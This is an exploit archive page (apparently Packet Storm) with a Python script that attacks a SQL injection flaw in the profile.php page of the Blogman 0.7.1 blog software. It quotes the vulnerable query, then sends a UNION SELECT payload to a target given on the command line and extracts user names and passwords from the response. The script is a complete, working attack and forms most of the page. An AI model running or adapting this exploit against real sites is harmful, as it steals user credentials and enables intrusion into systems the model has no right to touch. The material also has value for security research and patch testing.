what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Blogman 0.7.1 SQL Injection

Blogman 0.7.1 SQL Injection
Posted Aug 30, 2010
Authored by Ptrace Security

Blogman version 0.7.1 suffers from a remote SQL injection vulnerability in profile.php.

tags | exploit, remote, php, sql injection
SHA-256 | 135e2bf1f74d12fe3131e0915467b8bda02fda76b726fbca0ca94246a96a1776

Blogman 0.7.1 SQL Injection

Change Mirror Download
#!/usr/bin/python
#
# Exploit Title: Blogman v0.7.1 (profile.php) SQL Injection Exploit
# Date : 28 August 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/blogman/
# Version : 0.7.1
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + profile.php => SQL Injection!!
#
# 6: $query = "SELECT * FROM ".$GLOBALS['dbTablePrefix']."user WHERE
# UserID='".$_GET['id']."'";
# 7: $profileuser = mysql_fetch_array(mysql_query($query));
#
# + profile.php => The query showed above returns a 16-columns table. UserName,
# which is the 2nd column's name, is used few line after the query to display
# the information extracted.
#
# 12: echo $profileuser['UserName']."</p>\n";
#

import re
import sys
import http.client
import urllib.parse


def usage(prog):
print('Usage : ' + prog + ' <target> <path> <user_id>\n')
print('Example: ' + prog + ' localhost /blogman/ 2')
print(' ' + prog + ' www.example.com /complete/path/ 1')
return


def exploit(target, path, userid):
payload = 'profile.php?id=-1%27%20UNION%20SELECT%20NULL,%20CONCAT(%27%3C1'
payload += '%3E%27,UserName,%27:%27,UserPassword,%27%3C2%3E%27),%20NULL,%20'
payload += 'NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,'
payload += '%20NULL,%20NULL,%20NULL,%20NULL,%20NULL%20FROM%20blogman_user'
payload += '%20WHERE%20UserID=%27' + str(userid) + '%27%20--%20%27'

print('[+] Sending HTTP Request')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()

if res.status != 200:
print('[!] HTTP GET request failed.')
exit(1)

print('[+] Parsing HTTP Response')
data = res.read().decode()
pattern = re.compile(r"<1>(.+?)<2>", re.M)
m = pattern.search(data)

if m:
print('[+] Information Extracted:\n')
print(m.group()[3:-3])
else:
print('[!] No information found')

return


print('\n+-----------------------------------------------------------------------+')
print('| Blogman v0.7.1 (profile.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------+\n')

if len(sys.argv) != 4:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2], sys.argv[3])

exit(0)

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close